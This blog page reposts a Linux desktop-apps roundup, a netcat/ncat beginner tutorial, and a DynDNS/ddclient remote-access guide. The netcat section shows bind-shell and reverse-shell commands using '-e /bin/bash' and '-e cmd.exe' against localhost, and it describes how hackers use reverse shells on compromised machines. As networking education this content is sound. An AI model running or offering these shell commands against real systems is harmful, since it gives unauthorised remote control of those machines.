Tuesday, August 6, 2013

Open Source Alternatives that Ease the Transition to Linux

http://www.datamation.com/open-source/open-source-alternatives-that-ease-the-transition-to-linux.html

For many people out there, legacy applications make it difficult to switch to the Linux desktop. Granted, cloud computing has helped to alleviate some aspects of the legacy software challenge. Sadly though, cloud computing hasn't been able to completely replace legacy Windows applications in their entirety just yet.
Which means locally installed applications are still needed. In this article, I'll take a look at specific open source applications that have made my switch to Linux, possible, as well as being apps that I rely on daily.

LibreOffice – I'm using Writer, the LibreOffice desktop word processor, right now to write this article. As a whole, LibreOffice is one of the most used applications on my desktop. In addition to Writer, I also frequently use the LibreOffice spreadsheet Calc.

Gedit – I work with text files every single day. And when I do, I prefer to use a simple text editor that isn't going to add unneeded formatting or other nonsense. When it comes to keeping it simple, gedit is a fantastic text editor. Whether it's editing conf files or creating a new text file for personal notes, gedit is a fantastic application.

Kazam – All too often, I need to create a how-to video for clients. To make this easier, I use Kazam to record tasks and then share them with clients. Kazam is great in that I can record both my headset audio and the video into a single video file. From there, I can easily upload the finished video to YouTube or other video sharing services.

Nitro – When it comes to a strong task manager, nothing beats Nitro. You can use Nitro either by installing the app onto your computer or phone, or by browsing to Nitrotasks.com and logging in. In both instances, Nitro uses either Dropbox or Ubuntu One credentials to login. Nitro offers to-do list management in two distinct ways: First, you can create specific lists. This allows you to compartmentalize each task in its own space of mini-lists. Second, you then have tasks by date. This means when a task is due, you're not going to overlook it.

Gparted – You wouldn't think that I would use Gparted everyday, but with all of the different Linux distributions I use, it's a frequently accessed application in my office. Partitioning my hard drive allows me to set aside space on my computer so I can test various Linux distributions firsthand. For me, running a virtual machine isn't always enough to get a sense of how a distribution runs. Sometimes it helps to get a sense for how well the hardware is supported, among other factors. Gparted works great in this department.

Unetbootin – Sometimes I need to run Linux on a computer I don't use all that often. In instances like this, Unetbootin is a big help. It's a Linux installer for USB dongles that provides me with a Live Linux install without installing it on my hard drive. Best of all, if I decide later on to install Linux to that rarely used machine, I can boot to the USB dongle and run the Linux installer from there. Unetbootin's must-have feature is freedom from the worry about downloading ISO images ahead of time. Unetbootin does this for me, on the fly, within the application itself.

Terminal – This one may seem a bit weak, but you must understand that I handle my log viewing and package management via the command line. This means using a terminal is a big part of my day when I run any distribution. It's actually one of those applications I find myself using whether I'm running OpenSUSE or Arch or Ubuntu.

Firefox – Recently I've been experiencing better performance from Firefox than I have with other browsers. Because of this, I'm back with the open source browser and loving every minute of it. Now I still think that Chrome handles extension compatibility with regards to updates better, but overall Firefox is providing a better browser experience. It seems to me that Chrome is becoming increasingly resource-intensive, whereas Firefox appears to be trying to "lighten the load," so to speak.

Gnome-Screenshot – I also enjoy taking screenshots of various applications when creating how-to tutorials. Since a picture is worth a thousand words, offering a screenshot is useful when describing something overly complex. The application I use for this task is Gnome-Screenshot. I use this application to take my screenshots under XFCE, Unity and Gnome.

SpiderOak (Libraries) – While the application itself may not be completely open source, many of the libraries SpiderOak contributes to and uses, are licensed under the GPL. This makes using this great cloud-based backup tool all the better. I love SpiderOak's consistent Linux client support and the fact that all of my data is encrypted.

Synapse – I've been using keyboard launchers for so long that applications like Synapse have become my "go to" means of locating documents or accessing my favorite applications listed above. With a click of my ctrl-space keys, I'm instantly plugged into my computer's resources thanks to Synapse. The feature I love most about this app is being able to locate software or documents that I might have forgotten the proper name for. Needless to say, it's search feature is difficult to beat.

Cairo dock – Because desktop panels and keyboard launchers aren't right for every occasion, I've come to love Cairo dock as a supplement. Cairo dock is attractive, and its plugins are also pretty neat. Options like the sharing launcher and shutdown icons have made Cairo dock a very useful alternative to relying on panels under XFCE exclusively.

Parcellite – As clipboard managers go, Parcellite is one of the most reliable options I've ever used. I've used a number of other clipboard mangers; however, Parcellite's hotkeys and auto-paste keep me coming back for more. I also love the fact that I can edit clipped information within the clipboard without losing what was copied in the first place. Features like that make Parcellite a must-have tool for your Linux desktop.

HPLIP – I realize not everyone out there owns a HP printer. However I do own one, and it's nice to know that it's always supported across all Linux distributions thanks to HPLIP. Going beyond mere drivers, HPLIP allows me to check my ink levels and access my all-in-one's scanning options. The single killer feature that HPLIP brings me is the ability to easily set up wireless printers. Doing this without HPLIP would be much more involved.

Final Thoughts

There are literally hundreds of great Linux applications out there to choose from. The applications listed in this article are the best and most commonly used in my own office. You might even have some great apps that you'd add to this list yourself. If you do, I'd encourage you to leave a comment below to keep the conversation flowing.

What I enjoyed most about this list is that the applications provided here are all 100% Linux-compatible, without excuse. And because of these apps, I'm lucky to be freed from legacy software that would otherwise bind me to Windows or OS X.

Friday, August 2, 2013

Netcat tutorial – command examples on linux

http://www.binarytides.com/netcat-tutorial-for-beginners

Netcat

Netcat is a terminal application that is similar to the telnet program but has lot more features. Its a "power version" of the traditional telnet program. Apart from basic telnet functionas it can do various other things like creating socket servers to listen for incoming connections on ports, transfer files from the terminal etc. So it is a small tool that is packed with lots of features. Therefore its called the "Swiss-army knife for TCP/IP".


The netcat manual defines netcat as
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable "back-end" device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.
So basically netcat is a tool to do some bidirectional network communication over the TCP/UDP protocols. More technically speaking, netcat can act as a socket server or client and interact with other programs at the same time sending and receiving data through the network. Such a definition sounds too generic and make it difficult to understand what exactly this tool does and what is it useful for. This can be understood only by using and playing with it.
So the first thing to do would be to setup netcat on your machine. Netcat comes in various flavors. Means it is available from multiple vendors. But most of them have similar functionality. On ubuntu there are 3 packages called netcat-openbsd, netcat-traditional and ncat.
My preferred version is ncat. Ncat has been developed by the nmap team is the best of all netcats available and most importantly its cross platform and works very well on windows.
Ncat - Netcat for the 21st Century
Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable Netcat. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses.

Download and install netcat

Windows
Windows version of netcat can be downloaded from
http://joncraton.org/blog/46/netcat-for-windows


Simply download and extract the files somewhere suitable.
Or download ncat windows version
http://nmap.org/ncat/
Ubuntu/Linux
Ubuntu syntaptic package has netcat-openbsd and netcat-traditional packages available. Install both of them. Nmap also comes with a netcat implementation called ncat. Install that too.
Project websites
http://nmap.org/ncat/
Install on Ubuntu
$ sudo apt-get install netcat-traditional netcat-openbsd nmap
To use netcat-openbsd implementation use "nc" command.
To use netcat-traditional implementation use "nc.traditional" command
To use nmap ncat use the "ncat" command.
In the following tutorial we are going to use all of them in different examples in different ways.

1. Telnet

The very first thing netcat can be used as is a telnet program. Lets see how.
$ nc -v google.com 80
Now netcat is connected to google.com on port 80 and its time to send some message. Lets try to fetch the index page. For this type "GET index.html HTTP/1.1" and hit the Enter key twice. Remember twice.
$ nc -v google.com 80
Connection to google.com 80 port [tcp/http] succeeded!
GET index.html HTTP/1.1

HTTP/1.1 302 Found
Location: http://www.google.com/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Aug 2012 06:03:04 GMT
Server: sffe
Content-Length: 219
X-XSS-Protection: 1; mode=block


302 Moved

302 Moved

The document has moved here.
The output from google.com has been received and echoed on the terminal.

2. Simple socket server

To open a simple socket server type in the following command.
$ nc -l -v 1234
The above command means : Netcat listen to TCP port 1234. The -v option gives verbose output for better understanding. Now from another terminal try to connect to port 1234 using telnet command as follows :
$ telnet localhost 1234
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
abc
ting tong
After connecting we send some test message like abc and ting tong to the netcat socket server. The netcat socket server will echo the data received from the telnet client.
$ nc -l -v 5555

Connection from 127.0.0.1 port 5555 [tcp/rplay] accepted
abc
ting tong
This is a complete Chatting System. Type something in netcat terminal and it will show up in telnet terminal as well. So this technique can be used for chatting between 2 machines.
Complete ECHO Server
Ncat with the -c option can be used to start a echo server. Source
Start the echo server using ncat as follows
$ ncat -v -l -p 5555 -c 'while true; do read i && echo [echo] $i; done'
Now from another terminal connect using telnet and type something. It will be send back with "[echo]" prefixed.
The netcat-openbsd version does not have the -c option. Remember to always use the -v option for verbose output.
Note : Netcat can be told to save the data to a file instead of echoing it to the terminal.
$ nc -l -v 1234 > data.txt
UDP ports
Netcat works with udp ports as well. To start a netcat server using udp ports use the -u option
$ nc -v -ul 7000
Connect to this server using netcat from another terminal
$ nc localhost -u 7000
Now both terminals can chat with each other.

3. File transfer

A whole file can be transferred with netcat. Here is a quick example.
One machine A - Send File
$ cat happy.txt | ncat -v -l -p 5555
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:5555
In the above command, the cat command reads and outputs the content of happy.txt. The output is not echoed to the terminal, instead is piped or fed to ncat which has opened a socket server on port 5555.
On machine B - Receive File
$ ncat localhost 5555 > happy_copy.txt
In the above command ncat will connect to localhost on port 5555 and whatever it receives will be written to happy_copy.txt
Now happy_copy.txt will be a copy of happy.txt since the data being send over port 5555 is the content of happy.txt in the previous command.
Netcat will send the file only to the first client that connects to it. After that its over.
And after the first client closes down connection, netcat server will also close down the connection.

4. Port scanning

Netcat can also be used for port scanning. However this is not a proper use of netcat and a more applicable tool like nmap should be used.
$ nc -v -n -z -w 1 192.168.1.2 75-85
nc: connect to 192.168.1.2 port 75 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 76 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 77 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 78 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 79 (tcp) failed: Connection refused
Connection to 192.168.1.2 80 port [tcp/*] succeeded!
nc: connect to 192.168.1.2 port 81 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 82 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 83 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 84 (tcp) failed: Connection refused
nc: connect to 192.168.1.2 port 85 (tcp) failed: Connection refused
The "-n" parameter here prevents DNS lookup, "-z" makes nc not receive any data from the server, and "-w 1" makes the connection timeout after 1 second of inactivity.

5. Remote Shell/Backdoor

Ncat can be used to start a basic shell on a remote system on a port without the need of ssh. Here is a quick example.
$ ncat -v -l -p 7777 -e /bin/bash
The above will start a server on port 7777 and will pass all incoming input to bash command and the results will be send back. The command basically converts the bash program into a server. So netcat can be used to convert any process into a server.
Connect to this bash shell using nc from another terminal
$ nc localhost 7777
Now try executing any command like help , ls , pwd etc.
Windows
On windows machine the cmd.exe (dos prompt program) is used to start a similar shell using netcat. The syntax of the command is same.
C:\tools\nc>nc -v -l -n -p 8888 -e cmd.exe
listening on [any] 8888 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 1182
Now another console can connect using the telnet command
Although netcat though can be used to setup remote shells, is not useful to get an interactive shell on a remote system because in most cases netcat would not be installed on a remote system.
The most effective method to get a shell on a remote machine using netcat is by creating reverse shells.

6. Reverse Shells

This is the most powerful feature of netcat for which it is most used by hackers. Netcat is used in almost all reverse shell techniques to catch the reverse connection of shell program from a hacked system.
Reverse telnet
First lets take an example of a simple reverse telnet connection. In ordinate telnet connection the client connects to the server to start a communication channel.
Your system runs (# telnet server port_number)  =============> Server
Now using the above technique you can connect to say port 80 of the server to fetch a webpage. However a hacker is interested in getting a command shell. Its the command prompt of windows or the terminal of linux. The command shell gives ultimate control of the remote system. Now there is no service running on the remote server to which you can connect and get a command shell.
So when a hacker hacks into a system, he needs to get a command shell. Since its not possible directly, the solution is to use a reverse shell. In a reverse shell the server initiates a connection to the hacker's machine and gives a command shell.
Step 1 : Hacker machine (waiting for incoming connection)
Step 2 : Server ==============> Hacker machine
To wait for incoming connections, a local socket listener has to be opened. Netcat/ncat can do this.
First a netcat server has to be started on local machine or the hacker's machine.
machine A
$ ncat -v -l -p 8888
Ncat: Version 6.00 ( http://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
The above will start a socket server (listener) on port 8888 on local machine/hacker's machine.
Now a reverse shell has to be launched on the target machine/hacked machine. There are a number of ways to launch reverse shells.
For any method to work, the hacker either needs to be able to execute arbitrary command on the system or should be able to upload a file that can be executed by opening from the browser (like a php script).
In this example we are not doing either of the above mentioned things. We shall just run netcat on the server also to throw a reverse command shell to demonstrate the concept. So netcat should be installed on the server or target machine.
Machine B :
$ ncat localhost 8888 -e /bin/bash
This command will connect to machine A on port 8888 and feed in the output of bash effectively giving a shell to machine A. Now machine A can execute any command on machine B.
Machine A
$ ncat -v -l -p 8888
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from 127.0.0.1.
pwd
/home/enlightened
In a real hacking/penetration testing scenario its not possible to run netcat on target machine. Therefore other techniques are employed to create a shell. These include uploading reverse shell php scripts and running them by opening them in browser. Or launching a buffer overflow exploit to execute reverse shell payload.

Conclusion

So in the above examples we saw how to use netcat for different network activities like telnet, reverse shells etc. Hackers mostly use it for creating quick reverse shells.

In this tutorial we covered some of the basic and common uses of netcat. Check out the wikipedia article for more information on what else netcat can do. 

DynDNS and ddclient: access your Linux from anywhere

http://linuxaria.com/howto/dyndns-and-ddclient-access-your-linux-from-anywhere?lang=en

Accessing your home computer (I’ll call it server on this article) from a remote location (that I’ll call client) outside the local network, can be very interesting, for example, listening to streaming music played by MPD, managing downloads in the bittorrent client Transmission through its web interface, controlling the machine via SSH … However, before accessing your server remotely, you must know the “address” or IP (Internet Protocol address), but generally at home they are provided dynamically, through the Internet Service Provider, so it’s not so easy to know the IP of your home server.
We will see how to automatically update the DNS name on a domain name server (DynDNS) with the current IP address of the server thanks to ddclient.


Domain Name

We’ll start by creating a “domain name” with one of the services supported by ddclient, namely DynDNS that allows you to create two free “hostnames”.
dyndns
First, you can enter the name of the subdomain you want and select the desired main domain. So you get an address such as hometest.dyndns.org
Regarding the desired service, it is a Host with IP address. In the IP Address field, just logically click on the link below, which shows your address, provided that you do this operation from the station you want to make accessible from outside. You can proceed to the next step by clicking on the Add To Cart button that sends you to a registration form. Once you have registered and validation of your domain, you should be able to connect to your server from a client machine (via your browser) to the address you have chosen in our example hometest.dyndns.org.
However, the IP address of your server changes on a regular basis and it is therefore necessary to update, at each change, our DynDNS profile. This is where the role of ddclient comes.

Installing and configuring ddclient:

We’ll install ddclient on the server. On Ubuntu, the installation is done by running the following command:
sudo apt-get install ddclient
During installation, you have to configure the ddclient through multiple “screens” where you can just confirm by pressing the Enter key and use the Space key to select an option from a list of choices.
In the first screen, choose www.dyndns.com, then set the identifier and the password. After that it will ask whether to search the IP with checkup.dyndns.com, say No. Then choose your active network interface (if you are not sure, type ifconfig in a terminal to figure it out). Then Choose “From a list” and your “hostname” will appear, select it and proceed to the next screen. Say No for Launching ddclient during PPP connection, then choose yes to start ddclient as daemon. This is the option that allows you to automate the updating of the IP address in your DynDNS profile: the ddclient service is launched at server startup and runs at regular intervals, which we are going to configure in the last screen. Choose an interval like 3m (three minutes), 2h (two hours) or 1d (one day).
If you need to return later to configure ddclient and want to benefit from this “assistant”, simply run the command:
sudo dpkg-reconfigure ddclient
You can also change the configuration of ddclient directly by editing the /etc/ddclient.conf and add options, for more details refer to the documentation (http://sourceforge.net/apps/trac/ddclient/wiki/Usage)
Please note that to access the services running on your server, you need to forward ports in the configuration space of your box/router though.

Conclusion:


Now that you have configured you server, you can use it in several purposes such as SSH access or bittorrent web-client “Transmission” remote control.